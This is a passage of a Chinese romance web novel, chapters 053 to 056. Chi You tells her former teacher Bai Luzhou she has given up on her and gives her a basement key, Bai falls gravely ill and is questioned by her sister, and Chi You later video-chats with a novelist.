要不是汪伯伯拉着她说了会儿话,再加上今天下雨路堵,确实是来得及的。 宋七月:“我意思是,我们可以改个时间约。” “不必。” 白鹭洲掩住嘴又闷咳两声。 医科大的学生们临近毕业,最近很忙,她知道。 错过了这一天,或许很难再有另外一天的闲暇了。 宋七月又说:“那你这一天也太忙了,赶来赶去的,你现在身体又这样子,还不好好休息,再拖下去……” 白鹭洲:“我说了不严重。” 宋七月:“可得了吧你,你嘴里说的能有几句实话。” 白鹭洲:“真没事。” 宋七月:“还没事,你看你那脸儿白得……” 池柚忽然开口:“宋姐姐,我们换下座位吧。” 宋七月愣愣地看向池柚,“啊?” 池柚:“你和老师要聊天,坐近一点方便。” 宋七月:“不、不是。” 宋七月本来是想多说几句白鹭洲生病的事刺激一下池柚,没想到池柚是这个反应。 池柚起身,走到了最左边。她还没弱智到坐在黎青和宋七月中间,于是站在黎青左边等黎青起来。 黎青笑了笑,没说什么,利落起身。她一起来宋七月只能硬着头皮跟着起来,两个人往白鹭洲那边挪了一个位置。 于是座位现况就变成了: 池柚——黎青——宋七月——白鹭洲。 宋七月感觉自己和黎青现在简直就像王母娘娘划出的银河。 极其该死地隔在了牛郎织女中间。 宋七月欲哭无泪。 这可怎么办。 黎青笑着无奈地摇了摇头。 白鹭洲再次紧紧地抿住嘴唇,半晌,缓慢地呼出一口气。 她看向池柚没有带走的爆米花桶,喉咙不停地动,吞咽着口腔里本就因为生病而无法分泌太多的唾液,让越来越干的嗓子勉强能再说出一句话。 “爆米花……帮她递过去吧,谢谢。” 池柚听到了,不等宋七月动作,远远地说: “不用了,给宋姐姐吃吧。” 淡然的口吻,目光甚至都没有从屏幕上侧一瞬。 这特么我敢吃? 宋七月崩溃地撑住脸,再没心思看电影剧情了。 白鹭洲突然捂住嘴,连续闷咳好久。咳到后面已经收不住了,呼吸都在颤抖,她马上站起来,快步向外面走去。 她一路走到铁门外,连关好门的力气都没有了,随手一带,铁门缓缓关回来,却没有合严。 从留下来的那条缝隙里,宋七月看见白鹭洲站在门口,撑着墙,按住胸口剧烈地咳嗽。 整个人难受地深弯了腰背,一下一下地抖,咳到有眼泪出来,然后匆匆地用手背抹去。 那只手垂下去,撑在膝盖上。在走廊明亮的灯光里,指节上有明显的湿痕反光。 宋七月叹气。 她坐在这里可以看得很清楚,可是池柚现在的位子,刚好错开了这一条缝隙。 音效极好的IMAX厅环绕声,也掩盖住了那阵剧烈的咳嗽声。 “怎么办啊黎青。”宋七月闷闷地说,音量只有黎青能听到。 黎青的手覆了上来,温柔地握住宋七月,说:“没事。” 宋七月:“你坏心思那么多,还有什么坏招,想一想好不好。” 黎青点点头,看着宋七月轻声说:“好。” 宋七月抱住黎青的胳膊,脑袋在她肩上拱了拱,“你真好。” 黎青静默了一会儿才开口,还是只有她们两人能听到的声音:“其实我真的不想管了。我之前已经答应过白教授,只要她说服我,我就不再插手她们的事。她确实说服我了,我不想言而无信。可是前几天你想要帮忙……我就觉得,再帮最后一次吧,这场电影结束,一切就顺其自然。” 宋七月:“那你……” 黎青:“因为你刚刚的样子很难过,很认真。所以为了你,我可以再多言而无信一次。” 宋七月眼眶红了,咬了咬嘴唇,小声嘟囔一句:“放屁吧,你哪有那么喜欢我。” 黎青笑:“你看我表面那个样子,其实我真的特别纯情,真的。” 宋七月:“哼,不信。” 唉。 怎么她说这句话的时候,所有人都不信。 白鹭洲回来的时候还和去的时候一样,好似什么都没发生过。 她把自己整理得很好。 她向来如此,整理自己就像整理一本书,不论如何狂乱地翻过那些书页,如何在字里行间摩挲过那些抑扬顿挫,合上书时,也会仔细地擦去表皮的指印和灰渍,压住所有翻阅过的痕迹。 于是池柚用余光草草地瞥过一眼后,就以为,这本书从未向她打开过。 电影很快结束了。 最后女主死了,男主疯了。前排有的人在哭,有的人在吐槽狗血。 审美的不相通,导致情绪的不相通。三观的不相通,导致观影结局的不相通。 电影散场时,池柚看了眼手机,已经八点了。 白鹭洲站在稍远一点的地方,问她们:“要散了吗?” 宋七月正想说什么,黎青先一步说了:“这个时间了,都还没吃晚饭吧?反正我挺饿的。上次七月是不是说过要请吃海鲜大咖?” 宋七月忙点头:“对!对!” 黎青问白鹭洲:“白教授奔波一天,想必也没吃什么东西,一起?” 白鹭洲:“……嗯。” 黎青看向池柚:“小柚子可一定要去啊,不然七月请客对象都没了。” 池柚坦荡点头,“好啊。” 得嘞。 宋七月在背后给黎青竖了个大拇指。 那就走吧,海鲜大咖。 刚好白鹭洲开了车来,她们便一同坐白鹭洲的车过去。 黎青和池柚第一次看到白鹭洲的车。黎青坐到后排时称赞一句:“嗯,仰望U8,好品味。” 宋七月在她身边落座,听着皱了皱眉,“嗯?这什么车厂?” 黎青:“比亚迪旗下的。” 宋七月:“奥,比亚迪啊。” 黎青笑着说:“怎么很失落的的样子?” 宋七月:“我还以为表甥孙女家那么有钱,会开个帕拉梅拉迈巴赫之类的,再不然宝马奔驰奥迪,结果就开个比亚迪。” 黎青:“……仰望是比亚迪旗下的高端车品牌,这辆车,要一百多万。” 宋七月睁大眼睛。 我靠,一百多万买个比亚迪,有病吧。 黎青没告诉宋七月的是,这不是有病。 普通有钱人如果有一百多万打算买一辆车,肯定会优先考虑那些一眼就能看出是豪车的车厂。就比如宋七月说的帕拉梅拉,迈巴赫。面子和虚荣总是会占大多数人购买第一辆车的主要成因。 如果有人闲得花一百多万买比亚迪,那就说明她家里不止这一辆豪车。只有玩具足够多的小孩,才不会在乎其中一件玩具是不是够让ta有面子。 池柚坐在副驾驶座上。 ——因为黎青和宋七月已经坐在了后排,她只能坐在副驾驶。 “我觉得挺好看的,值得的。” 池柚系好安全带,说。 白鹭洲不禁侧目看了池柚一眼。 她分不清池柚这句话是单纯的夸赞,还是在有意无意地安慰她。 家里确实有很多车可以开,爸爸让她选的时候,她不想太高调,便选了这台仰望u8。她不喜欢被人围观的感觉,尽管她并不是很经常开车出门。 她讨厌被注视。 可是池柚夸赞她的车,她发现她既希望池柚是在安慰自己,也希望池柚是真的在夸。 她喜欢现在被安慰,也喜欢现在被池柚欣赏地注视着。 或许…… 或许这说明了,刚刚在电影院的一切,都是她多想。 “那以后如果再出来玩,我就开这辆车,带你们。” 白鹭洲握住方向盘,开始倒车。 第054章 过来的一路上, 她们正常地闲聊。 池柚也和白鹭洲说话,没有很异常的地方,似乎什么都没发生过。白鹭洲逐渐放松了一些, 握着方向盘的手由紧绷到随意搭着。 四个人到了海鲜大咖的店门口。 白鹭洲停好车,和其他人一起走入店中。 这家店是宋七月给的定位, 她以前经常带朋友来吃, 是她固定约饭的地点之一。平常她只会带很好的朋友过来, 因为她真的很喜欢这家店,如果带交情浅的朋友来之后闹矛盾绝交了,然后绝交的朋友又觉得店不错还想来…… 她可不想在最喜欢的店里碰到尴尬的人。 宋七月此刻在心里求爷爷告奶奶, 希望白鹭洲和池柚别闹崩了。 她真的不希望以后每次来这儿之前还要思考一下会不会碰到俩闹崩的冤家,然后食欲全无。 她们挑了个靠窗的位置坐,人少,安静一点。 四人座, 两边分别两个座位。黎青自然是和宋七月坐一起, 那池柚就只能和白鹭洲坐一起。 池柚坐在里面,没有刻意坐得很边缘。 但是她把随手卸下的包放在了她和白鹭洲之间。 服务员来点单,宋七月直接点了一个套餐,说这是招牌套餐, 第一次来吃这个准没错。 “等一下。” 池柚叫住了拿着点餐pad正要走的服务员。 “那个, 我能再看看吗?” 服务员:“当然。” 池柚拿过pad,低头看了一会儿, 在屏幕上划了两下, 抬眼说: “我看见菜单里有海鲜粥,你们喝粥吗?” 宋七月:“还喝什么粥, 那个套餐量可大了,肉都吃不完。” 黎青:“我听七月的。” 池柚看向白鹭洲, “您呢,不喝吗?” 白鹭洲沙哑地说:“不用了。” 池柚:“可是我刚刚看了,海鲜大咖只能做成辣的,您的嗓子现在可能吃不了几口。给您点一份粥吧?” 白鹭洲偏过头,看了池柚一眼。 很短的一眼,却在稍稍用力。 想看出一点什么似的。 池柚见白鹭洲不说话,自作主张地点了一份,将pad还给服务员。 宋七月给她们倒饮料,说: “这家店生意好,所以上菜慢一点,咱们可能得等会儿了。” 白鹭洲站起来,“我先去一趟洗手间。” 宋七月:“行,你不用急,反正得等好阵子。” “嗯。”白鹭洲走出两步,又回头,看向池柚,“你上不上?” 池柚“啊?”了一声,思索片刻,没感觉到身体有什么排泄欲。 “不上。” “那就去洗手间洗个手吧。” 白鹭洲说。 池柚:“一会儿吃的时候会有手套,而且我和黎师姐包里常备酒精片,擦一擦就好了。” “……” 白鹭洲缓缓地吸气,呼气,声音更轻了一些。 “我有话,想单独和你说。” 宋七月不敢作声,心提到了嗓子眼儿,目光在池柚和白鹭洲脸上来回飘。 黎青只是垂眸喝饮料,保持沉默。 池柚没有起身,别过头去握饮料杯。 “……您和我有什么话,都可以当着宋姐姐和黎师姐的面说啊。” 白鹭洲的表情有了细微的变化。 她的眼里蒙起簌簌凉意。但不是坚硬的冰,而是在冰里摇摇欲坠的、即将凋完的花。 “池柚,有些话,我们必须得‘单独’说一说。” 池柚的嘴唇抿了抿,半晌,松开了饮料杯。 “好吧。” 她站起来,走到了白鹭洲的身后。 两个人一前一后,向洗手间走去。 这段路并不长,一分钟不到就走到了。白鹭洲进了洗手间,在洗手台仔仔细细地洗了两遍手。 她转过身,看见池柚抱着胳膊站在门口,没有进来,正盯着地面发呆。 白鹭洲皱了皱眉。 抱着胳膊这个姿势并不适合出现在池柚身上,它更像是成年人袒露疲惫或者显示防备的一个动作。但她几乎没有见过池柚这样的年轻天才有什么疲惫的时候,池柚在面对她时,也不曾有过什么防备。 “都来了,不洗一下手吗?”白鹭洲从纸巾箱里抽了两张纸,擦去手上的水珠。 池柚摇头:“我用酒精片擦就好,自来水不会比酒精更干净的。” 白鹭洲扔掉纸巾团,回过头,看镜子里的自己。 身* 后有两个客人上完厕所有说有笑地出去了。 厕所隔间门都是半敞开的状态,说明这里暂时没有了旁人。 池柚换了条胳膊抱着,肩头靠在瓷砖墙上,问: “老师,有什么话要和我说?” 白鹭洲盯着镜子,发现自己从来没有像今天一样,这么像水墨画。 黑色的头发,黑色的眉毛睫毛,黑色的衬衣,和白纸一样的一身单薄皮肤。 “老师?” 池柚又唤了白鹭洲一声。 “……” 白鹭洲再次看向池柚,向外走了两步。 “你最近过得怎么样?” 池柚笑了一下,说:“还好啊,就是有点忙,要答辩了。不过我已经把该准备的都准备好了,不会出什么问题。” 白鹭洲:“还是没有找到合适的规培医院?” 池柚:“我先毕业吧,等毕业的事结束我再好好想下一件事。” 白鹭洲:“嗯。” “就问这些吗?” 池柚晃了晃脚尖,眼睛眨下去,然后就没抬上来,看着地面。 “那完全没必要回避开她们啊。” “当然不是。其实我是想问明白……” 白鹭洲顿了顿,吞咽了好几次唾液,湿润干涸的喉咙。 “你和以前一样,又有些忽冷忽热了,我不知道你是什么意思。” 池柚沉吟片刻,说:“是我不对,上次告别,我就说了一句‘再见’,然后就走了。我以为您会明白的。嗯……我应该再讲清楚一点才对。” 白鹭洲的嘴唇又白了几分,喉咙一直在动,“……你想讲什么?” 池柚:“我想讲的,就是告别啊。” 告别…… 白鹭洲觉得眼皮有点重,很难抬起来让眼睛再看着池柚了。 她沉默了一小会儿。 “你和我告别过很多次了,在火锅店那次,你就说过要放弃我了。后来我生病,你来白柳斋看望我,也答应过我会放弃。这一次,又要说一遍?” 池柚抿住下唇,深吸一口气,“老师,其实您应该知道这一次和之前的区别。” 白鹭洲:“你可以再明白一点地告诉我。” “您知道的,‘再见’这两个字对我有特别的意义,所以我说出‘再见’,就说明这次和以往每一次都不一样了。” 池柚怕自己词不达意,又再说得清楚了一些: “我说‘再见’的时候,就是真正放弃的时候。” 又有陌生客人过来,穿过她们两个人之间,走到洗手台洗手。 水流淅沥沥地落到池子里,伴随着搓手的声音。 咯吱。水龙头被关上。 那人甩着湿淋淋的双手走出去了。 等这个小空间再次只剩下她们两个人,白鹭洲又开口,声音更哑了:“是什么让你做出这个决定的?” 池柚:“这个重要吗?” 白鹭洲:“不重要吗?” 池柚:“……以您的性格,不会好奇这些无关紧要的小问题。” 白鹭洲勾起嘴角,“呵”得笑了一声。 “对。好,不问。” “而且,我没有忽冷忽热。我觉得,我是在以您喜欢的普通师友关系那样和您相处,就是,会互相帮忙,但是要保持距离。” 池柚坦诚地认真解释。 “是不是我理解得不对?如果是我哪里做错了,您可以再教教我。” 白鹭洲觉得很残忍的一点,就是直到现在,直到问出这个问题,池柚都还是以一种关心她的姿态,小心翼翼地看着她。 她们之间没有争吵,没有面红耳赤。甚至池柚仍旧在关注她的看法和情绪,让人连恨的感情都生不出来。 多残忍。 但她没有要怪池柚的意思。 她都清楚,这不止是池柚选择的结果,也是她选择的结果。 是她开的头,池柚只是续写者。 而作为最没有资格抱怨的开头者,她现在,只需要再确定最后一件事。 然后。 她就也可以告别了。 “池柚,你现在,已经不喜欢我了,对吗?” 白鹭洲终于抬起了沉重的眼睛,平静地看着池柚,语气也淡到和往常一样。 你的第一阶段,已经彻底过去了,对吗。 池柚也看向了白鹭洲,与她对上了目光。 “对。” 她不止用语言回答白鹭洲,也用已经训练得很好的面部表情回答白鹭洲。 无波澜,无起伏。 白鹭洲点点头,良久,又点了点头。 其实她应该,在电影院的时候就知道答案了。 今天的池柚那么从容,从未有过的从容。那可能真的不是忽冷忽热,而是池柚对待一个普通朋友、或是一个普通老师的样子。 “所以,会问我的身体还好不好,在车上夸我的车,刚刚帮我点海鲜粥,都是因为,你对待其他朋友也会……” “是,也会这样。” 池柚很确定地回答。 “一模一样。” 也会这样。 一模一样。 同样的话抛回给了白鹭洲。 “……好。” 白鹭洲淡淡地笑了,后退了一步,像是想要离开了。 “祝贺你啊。” 送上最后违心的庆贺。 “等一下。” 池柚却叫住了她。 白鹭洲停住脚步,回过头,嘴唇动了动,又抿住。 “你……还有什么想说的?” 池柚从裤子口袋里掏了一会儿,抓出一把餐巾纸包、糖果、手机等杂物,摊在手心里找了找,捏出一把银色的钥匙。 她把其他东西塞回兜里,将钥匙递给了白鹭洲。 “这个,请您收下。” 白鹭洲不解,“这是什么?” 池柚:“是我家地下室的钥匙。” 白鹭洲:“你爸爸杀人的那个地下室?” 池柚:“对。” “你……” 白鹭洲语塞了。 “给我这个干什么?” “地下室里,有我给您的最后一份礼物。” 池柚浅浅地笑起来,她的眼睛里,也开始学会携上对一个人的漫漫余生的祝福。 “这些年我给您送了很多花,润喉糖,奶茶,还有许多别的小礼物,您大多都不肯收。这是最后一份了,请您一定收下,有时间务必去那里看看。就当是给我这实在太长太长的课题,做一个结课仪式吧。” 第055章 白鹭洲收下了池柚的钥匙。 那天, 她没有再返回饭桌,海鲜粥也不知道最后进了谁的肚子。她没有什么力气再去和人交流了。 很累。 过去的三十一年,她好像从未这么累过。 她也没有办法第一时间去到那个地下室里, 看看池柚留给她的最后的礼物。因为她开车回家后,生了一场前所未有的大病。 病到她再也没办法像以前那样强撑着站起来, 告诉所有人她没事、不严重。 她向来知道她的身体很懂事, 会在需要她紧绷着一根弦的时候乖乖地保持基有的健康, 然后在她终于可以放松的间隙里,才释放出所有积压已久的病痛。 也或许不是她的身体懂事。 是她习惯了对自己催眠,对自己压抑、逼迫, 对自己欺骗、控制。连她的神经和器官都被逼压得不得不服从于她。 好神奇的体质啊。等她百年之后死了,应该把尸体捐给像池柚和黎青这样的优秀医学人员,好好解剖一下,研究研究人类的精神意志是如何影响身体细胞的。 她确实也是个天才。 创造一个永远站在山巅的假人的天才。 白鹭洲病得没办法起床, 父亲不忍心折腾她到医院, 于是叫了私人医生上门帮她打吊针。爷爷奶奶也来看过她,但她大部分时间都在昏睡,所以几乎没什么交流。 大概一周之后,白鹭洲的意识才稍微清醒了一点。 她醒来时, 在她房间里陪着她的, 是二姐。 二姐坐在窗口边,窗台上摆了个烟灰缸, 她正望着窗外郁郁葱葱的梧桐树出神。指间夹着一根燃了一半的烟, 烟跟着手搭在窗户外面,没有叫烟雾飘进来。 “二姐。”白鹭洲开口说话时, 发出的声音连自己都快不认识了,太哑了。 白鹊起听到白鹭洲醒了, 马上把烟按进烟灰缸,挥手散去烟雾。“你醒了?饿不饿,我给你叫外卖。” 白鹭洲:“不饿。” 二姐:“你能不饿?这么多天你都睡着了没吃东西,全靠葡萄糖吊命。行了我知道你什么德行,别废话了啊我给你点份粥。” 白鹭洲偏过头,看见了床头的吊瓶架,视线缓缓下移,看向正在输液的手背。 “我的感冒这么严重了。” 她低声喃喃自语。 “你不止是感冒,你喉咙发炎,肺也发炎,高烧不退,脚踝做过钛板手术的地方也发炎。医生说你血液的白细胞数量都要爆表了。” 二姐点完外卖,把手机扔到一边。 “你再不醒,就必须得转移到医院去了。” 白鹭洲:“……” 二姐抠着手指,“哼”了一声,“给你说过,踩刹车脚疼就不要开车,疼是身体给你的信号,亮红灯的意思知不知道。那天去苏江干嘛非要开车,你自虐啊?” “……”白鹭洲沉默片刻,“那天的飞机高铁我都查过了,没有可以在六点之前赶回来的班次。” 二姐:“你六点有什么大事儿?” 白鹭洲:“……没有,没什么。” “……” 白鹭洲看向阳台上死气沉沉的假绿植。 “不过我倒是真有点后悔,那天在六点……赶回来了。” 二姐去客厅给她倒了杯水过来,细心地插上吸管。她估摸白鹭洲现在应该也没有坐起来的力气。 白鹭洲喝了一点水,捂着嘴咳了一会儿。 “你啊,从小就这样。”二姐叹道。 白鹭洲苍白地笑了笑,“哪样?” 二姐:“我也说不上来具体哪样,反正你就一直这样,烂木头似的,又臭又硬。” 白鹭洲:“……” 二姐:“你永远都记不住,会哭的孩子才有糖吃。” 白鹭洲:“什么意思?” “我意思就是,我从来、从来都没见你哭过。” 二姐看着床上单薄虚弱的白鹭洲,嘴边瘪出一个苦笑。 “病成这样,除了身体原因,心理原因也很大。但你宁可把情绪撒到身体上,也不愿意撒给泪腺。就算昏睡过去了,无意识的情况下,也是一滴眼泪都没流过。真厉害啊妹妹。” 白鹭洲又轻咳了几声。 她咽了咽喉咙,轻声说: “坚强一点不好么?” “好,有什么不好的。” 二姐落在白鹭洲脸上的目光一瞬不瞬的,没有移动。 “只是你一直做个假人,不累吗?” ……累啊。 当然累。 就是太累了,才会生这一场大病。 二姐在床旁边的书桌边坐下,翘起二郎腿。 她支着下巴,忽然说: “我昨天帮你收拾东西的时候,倒是发现了一个有意思的玩意儿。” 白鹭洲:“你……” 二姐:“没乱翻,没想窥探你隐私,就往抽屉里搁杂物的时候看见了。” 说着,二姐单手拉开了抽屉,在最浅的地方捞起了一只粉色海螺。 “你看,就在这么显眼的位置。” 白鹭洲的表情一时间僵住。 “我记得你不是个旅游会带纪念品回来的人啊。” 二姐捏着那只海螺仔细打量。 “以前家里一起去旅游,让你买点冰箱贴或者礼物回来,你都不买。说一来没有朋友需要送,二来觉得这些东西都是身外之物,留在眼里的风景才是最重要的。这个呢?海岛带回来的吧,一个烂海螺,你能不能和我说说你是怎么想到带这个回来的?” 白鹭洲:“……” 她没有回答,胸口起伏的频率乱了一点。 “还有一个更奇怪的东西。” 二姐的手往抽屉里探去。这一次,捞上来了一条旧红手绳。 “放在海螺旁边的红绳子,好旧啊,估计被戴了有十几年了吧。我可从来没见你戴过这条手绳,这是谁的呢?” 白鹭洲抿了抿干燥的嘴唇,吐出两个字: “放下。” 二姐继续观察着那条红手绳,絮叨: “还有洗不干净的一些痕迹,有一点泥沙,捡回来的?从哪里?河边?海边?” 白鹭洲的声音变冷了几个度: “我让你放下。” “哟,假人终于会生气了。” 二姐放下了那条红手绳,向前逼近了一点。 “那能不能告诉我,那个能把你逼生气的手绳的主人,到底是谁?” 白鹭洲侧过头去,吐息有一点颤抖。 二姐紧盯着白鹭洲只露了一般的侧脸,笑了笑,说出了一个名字: “池柚。” “你……” 白鹭洲转回了头,惊诧地看向二姐。 “你怎么……” 怎么会知道。 二姐放松了身体,懒懒地坐回椅子里,将海螺和红手绳都轻轻地放回抽屉,关好。 “虽然你昏睡的时候没流过眼泪,但你……” 她突然笑了一下,肩膀沉下去,用身体叹气。 “叫过一次这个名字。” 白鹭洲倒吸了一口气,大脑混乱了起来。 “我记得这个小孩,她小的时候在白柳斋住过,我还抱过她,给过她棒棒糖吃。” 二姐眨了眨眼,看着天花板,陷入回忆。 “是你以前的学生啊。怪不得,你会是现在这个反应。” 白鹭洲咬住牙,强迫自己稳住情绪,语气尽量淡然地问: “所以呢,你是想谴责我,还是想劝我。” “洲洲,我刚刚不是在审讯你,也不是在质问你。” 二姐皱起眉,柔软的目光落在白鹭洲身上。 “我更不是想谴责你或者劝你。我知道,你有你自己的原则和想法,我从来都劝不了你什么。骂你,更没用,你不在意骂声。” 白鹭洲:“那为什么要说出来?” 就不可以,当做没有看见抽屉里的东西么。 二姐:“我就是想告诉你,我知道了。以后如果你因为这件事不开心,难受,你可以找我说一说。你听说过放血疗法么?你一直憋着,我真的很担心,你就当是我帮你放血好了,和我这个亲姐姐倾诉倾诉,也可以在我面前哭一哭。不要再像这次一样,把气都撒给自己的身体,你病得真的很严重,再多高烧两天你的大脑神经就废了,失语、瘫痪、意识障碍、癫痫,什么后遗症都有可能出现,你知不知道这意味着什么?” “……谢谢,二姐。你的好意我心领了。” 白鹭洲平静地弯了弯唇角,眼里没有一点笑意。 “不过,只可惜,我已经进化掉泪腺了。” 二姐不禁冷笑,摇着头,笑了好一会儿。 对于白鹭洲的拒绝,她像是也在意料之中。 性格啊,真是全世界最难改变的东西。 你把有些东西戳破了,撕碎了,摊开了。对方还是孤傲地用背影对着你,不在意,不愤怒,也不肯回头。 “白鹭洲,你很行。不是在讽刺你,是夸你,你真的很行。” 二姐站起来,拿起挂在椅背上的外套。 “我从商这么多年,商业界都从来没见过像你这样,铁石心肠到这种地步的人。哦,铁石心肠也不是骂你冷血,就是字面意思,你的心真的是铁打的。我就是希望,这块铁足够硬,能保护你一辈子,我也算另一种放心了。” 白鹭洲轻声说:“对不起。” “我没生气,你不用和我说对不起。我要走,是因为我时间很金贵,按秒计费。既然我意识到你不会和我倾诉,再说什么也是浪费时间,我不如去赚钱好了。” 白鹊起看了一眼表。 “走之前我会帮你把外卖拿进来,放在你床头,记得吃。病有什么问题或者缺钱了,随时找我。” 白鹊起安排好一切之后,就利索地离开了。 她确实没有生气,绷起的嘴角和一直皱着的眉头都昭示着,她只是无奈。 伴随着关门声,空荡荡的大房子,又只剩下了床上的那一个人。 白鹭洲翻了个身,感觉每块骨头都在疼。她扎着吊针的手搭上了书桌,闭上眼睛缓了一会儿,才从贫血性头晕里又睁开双眼。 她用掌根抵住了抽屉。 微微用力,将刚刚二姐没有关严实的抽屉严丝合缝地推了回去。 第056章 自从那天在海鲜大咖餐厅里, 两个人去洗手间结果只有池柚一个人回来、并且再也没见到白鹭洲之后,黎青和宋七月就明白了,都结束了。 池柚也知道, 都结束了。 她没有再回家,而是一直住在了学校。因为她不知道白鹭洲会什么时候去地下室里看礼物, 她不想碰到白鹭洲。 那天在洗手间门口, 那样好的伪装, 她真的不确定自己能不能再重现一次。 有个作家说过,忘记一个人,只需要两样东西, 时间和新欢。 池柚没读过太多文艺作品,是黎青读一本书时念出了这句话,被她听到了。她当时不以为意,现在回想起来, 觉得…… 还是觉得, 没什么道理。 能被时间和新欢冲淡的人,从来都不会是那个真正正确的人。 她会这么觉得,是因为被验证了一次。 ——新欢。 柴以曼主动找她了。 倒是没有找到她跟前来,就是在微信上主动给她发了消息, 打破了上次打招呼后尴尬的长久的沉默。 柴以曼:【小柚子, 不好意思。我这段时间一直在忙新书签售的事,全国各地行程很紧, 所以一直没有再联系你。希望你不要多想, 我不是冷着你,只是不想和你聊上以后因为忙而不能及时回复你消息, 我怕你会一直等着,我也会觉得我那样很不礼貌。现在签售都结束了, 所以,我们可以重新认识一下。】 池柚发觉柴以曼主动联系她已经是柴以曼这条消息发出三天后了。因为她的微信有很多未读小红点,除了亲人、导师和宿舍群的,她都点得不是很勤快,经常延迟好几天才想起来点进去看看。 她看到这条消息时,正在食堂吃午饭。 池柚放下筷子,回复:【没关系,姐姐先忙。】 她才要关掉手机继续吃饭,屏幕还没来得及锁上,柴以曼就秒回了。 柴以曼:【已经不忙了,看,回得很快吧?】 池柚继续打字:【是挺快的。】 柴以曼:【你应该正在忙毕业的事吧,真是不巧,要么我在忙,要么你在忙,总是错开了。】 池柚不太想继续聊。 其实如果她不想聊了,现在回复说自己确实在忙,对方肯定就不打扰了。不过她是个实诚性子,不习惯对人说谎,便诚实地进行了回复。 池柚:【我不忙,我要做的工作都做完了,等过几天答辩结束,然后等毕业典礼就好。】 柴以曼:【那你趁答辩前这几天,不好好再准备一下?】 池柚:【不用,我很聪明。】 池柚说自己很聪明的时候没有一点自夸或者炫耀的成分,她就是平静地陈述一个事实。对她来说,只要论文终稿完成,她就不必像其他人一样需要做反复的准备。所有论点就在她的大脑里,随时可以一字不落地掏出来。 柴以曼发来一个小猫哈哈笑的表情包。 柴以曼:【你果然像你妈妈说的一样可爱,小天才。】 池柚回复:【舍友姐姐们现在都不会这么叫我了,她们说,这样叫我,好像在叫一只儿童电话手表。】 柴以曼又发了两遍小猫哈哈笑。 柴以曼:【其实我一直都很想见见你,不过我现在人还在国外,暂时有别的行程安排。我看了时间,等你毕业典礼之后,我差不多就可以回云州了,到时候我请你吃饭?】 池柚想了一会儿,回道:【到时候再看吧。】 聊天框上方安静了一会儿。 池柚吃完了最后几口饭,准备端盘子走人时,手机传来新消息。 柴以曼:【你有没有看过我的小说?】 池柚连柴以曼的笔名叫什么都不知道,怎么可能看过。 更何况她除了学习过一些网络爱情小说外,从来不会因为兴趣而主动看别的小说,她只喜欢看尸检报告。 池柚:【没有呢。】 柴以曼:【告诉你一个秘密。】 池柚:【什么?】 柴以曼这次打了很久的字。 半晌,发来了一大段话。 柴以曼:【两年多以前我在写一本刑侦小说的时候,查找过有关解剖和尸体的资料。当时就找到了你发表在国刊上的一篇论文,我在小说中引用了很多段落,当然,我标了出处的。我知道那篇论文是一位19岁少女写出来的时候,就忍不住去想象,这么厉害的小姑娘是个什么样子。想象着想象着,便创作出了一个19岁天才法医女主。所以你没想到吧,其实我们的交集这么早,你的本名“池柚”在两年前就已经印在了我的小说引用标注里,你的一抹影子也早就活在了我的小说女主身上。】 池柚看着这一大段落,觉得…… 嗯…… 就觉得,柴以曼不愧是个写小说的,遣词造句挺讲究,发个微信消息也跟创作文学一样。 然后,其他的什么浪漫啊、惊叹啊、恍然大悟啊、感慨真是缘分的欲望啊—— 都没有。 什么都没有。 跟剥了头皮的头盖骨一样。 光秃秃的。 她的心也是光秃秃的。 池柚草草地礼貌结束了对话。 到最后,也没有确定要不要和对方吃饭。 按理说,这位“新欢”真的是一个很优秀的新欢了,妈妈说过,又漂亮又有阅历,还很有成就。今天聊天聊下来,也能感觉到对方是个温柔有趣的人,相处起来会很舒服,不会觉得无聊没话讲。 而且,这段缘分确实挺浪漫。 柴以曼还没有认识她的时候,就已经开始用笔去描写她。而她,在自己最没兴趣涉猎的文学作品里,有幸被柴以曼永远地留下了一个剪影,和一个铅字姓名。 只是…… 是不是因为没有见过面啊? 所以她这么心如止水的。 池柚想着,要不回头还是和对方约一次吃饭好了,就安排在毕业典礼后。 忍不住叹了口气。 她能感觉到,自己已经开始有一点疲于应付这样的社交。 晚一点回了宿舍,池柚准备写一份新的实验报告,无关学校要求,只是她今天在实验室里解剖白鼠时有了点新的发现。跟姥爷提起的那个最近被热议的医学话题有关。 虽然她的本能很不愿意去想那件事,但她的理智还是在推着她去想。 ——出国的事。 如果这份报告做出一点成绩,或许进入卡罗林斯卡的概率会大一些。 池柚在写报告时,又收到了柴以曼的消息。 柴以曼:【你现在有空吗?】 池柚拿着手机抿了抿下唇。 就算柴以曼现在不忙了,她们……也……没有必要联系得这么频繁吧? 柴以曼:【我知道交往该有度。不过,临时有个小忙,想问问你方不方便帮一下。】 池柚对于朋友向来都是有求必应,有忙必帮。她不知道柴以曼算不算她的朋友,但仔细想想,她们也没有在谈恋爱,算不得恋人。 那么,现在应该就算是朋友吧。 既然是朋友,能帮就帮。 池柚:【好的,姐姐请说。】 柴以曼:【记得白天我和你说过的那本刑侦小说吗?就是用了你作为原型的那本。最近它被改编成广播剧了,画师画了海报,我不太确定女主的形象是不是准确。我想,要是方便的话,能不能开个视频,让我看看你。】 池柚:【你要把我画上去?】 柴以曼:【哈哈,不是啦,只是参考。】 池柚没什么不好意思的,帮朋友忙而已,直接就发了视频请求过去。 柴以曼估计也没想到她打视频打得这么快,响了十多秒,视频才被接通。 手机屏幕上,柴以曼正坐在电脑前面,坐姿很好,腰背清挺,手边是一杯咖啡和一副金丝眼镜。 她双手十指交叉着,放在鼻子前面,上目线看着镜头。 池秋婉给池柚发过柴以曼的照片,但池柚没兴趣点开,所以一直不知道柴以曼长啥样。 现在看到了本人,果然池秋婉说得没错,很漂亮。 很漂亮很漂亮。 吃完晚饭回来的舍友们忽然打开了门,有说有笑地走进来,包括宋七月。宋七月今天又跑来陪黎青吃饭了。 她们一进来就注意到池柚在跟人视频通话,“哇”了一声,纷纷涌上来围观。 程枣枣:“这谁啊小柚子,你朋友吗?我们怎么没见过啊。” 林慕橙:“我怎么看着有点眼熟,等等,让我想想……” 程枣枣:“好漂亮啊小姐姐,你是什么明星网红之类的吗难道?” 宋七月吸了一小口气,转头对黎青说:“这个人长得,也太……” 黎青:“嗯?” “不不,我不是想夸她好看,就是、你不觉得她长得……”宋七月斟酌了一下用词,又压低了一点声音,“这完全和白鹭洲是一挂子长相啊,白,瘦,高,成熟,黑长直。但她可比白鹭洲要温和多了,你看她的笑,明明长得怪清冷的,可又让人感觉……” 黎青饶有意味地看着宋七月。 宋七月知道感觉像什么了。 “我靠!她笑的时候好像你啊。” 怎么会有这么一个人,完美杂糅了白鹭洲和黎青的优点。 又矜贵,又优雅,又亲和,又温柔。 